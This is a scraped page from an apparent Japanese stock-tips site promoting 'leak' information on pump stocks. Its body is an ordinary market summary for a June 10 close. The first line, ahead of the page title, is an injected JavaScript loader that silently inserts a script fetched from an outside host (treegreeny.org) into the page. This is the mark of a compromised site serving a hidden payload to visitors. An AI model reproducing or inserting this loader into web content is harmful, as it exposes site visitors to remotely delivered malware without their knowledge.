;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【6/10 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【6/10 大引け】

本日の日経平均株価は67円安と続落。後場は売りが先行、一時1万6500円の節目割れる場面もあったが売り一巡後は下げ渋ったが、週末要因、来週控えるFOMC、日銀会合控え、これを見極めへの動きもあり戻りは限定的となった。業種別では、空運業、精密機器、金属製品が値上がり上位に。一方で、鉱業、鉄鋼、石油石炭製品などが値下がり上位となった。

個別では、ゲーム関連の一角【3907】シリコンスタジオや前日はランサーズとの業務提携、本日は東証と経産省が共同で「攻めのIT経営銘柄2016」に選定された【3134】Hameemなどがストップ高。また、後場から前日発表された5月度取扱高は前年比36%増を好感、直近の民泊材料やビジョンとの業務提携なども好感されている【6191エボラブルアジアが一段高の年初来高値を更新したほか、本日の注目でもある【4829】日本エンタープライズも引けにかけ急伸となった。

来週はFOMC、日銀金融政策決定会合が開催を控えやや動き難い展開が想定される。一部では追加緩和観測の期待も出ているが過度の期待禁物。また、FOMCでは予想以上に弱ったか米5月雇用統計を受け、6月会合での利上げ観測が一気に後退。FOMC後の声明を受けた後の為替動向には注意をしておきたいところだ。